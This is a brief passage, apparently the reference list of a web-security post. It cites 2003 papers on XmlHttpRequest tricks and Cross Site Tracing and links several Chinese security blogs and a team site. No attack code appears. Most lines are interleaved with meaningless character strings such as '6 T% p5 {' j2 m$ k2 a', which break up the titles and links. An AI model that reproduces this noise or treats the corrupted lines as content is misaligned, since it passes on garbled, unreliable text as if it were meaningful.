Other XmlHttpRequest tricks (Amit Klein, January 2003)
6 T% p5 {' j2 m$ k2 a  s0 J, E; {"Cross Site Tracing" (Jeremiah Grossman, January 2003)
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
* @* X' y: ?& u) d; B空虚浪子心BLOG http://www.inbreak.net
Xeye Team http://xeye.us/
8 Q6 E" i, p8 `# m  h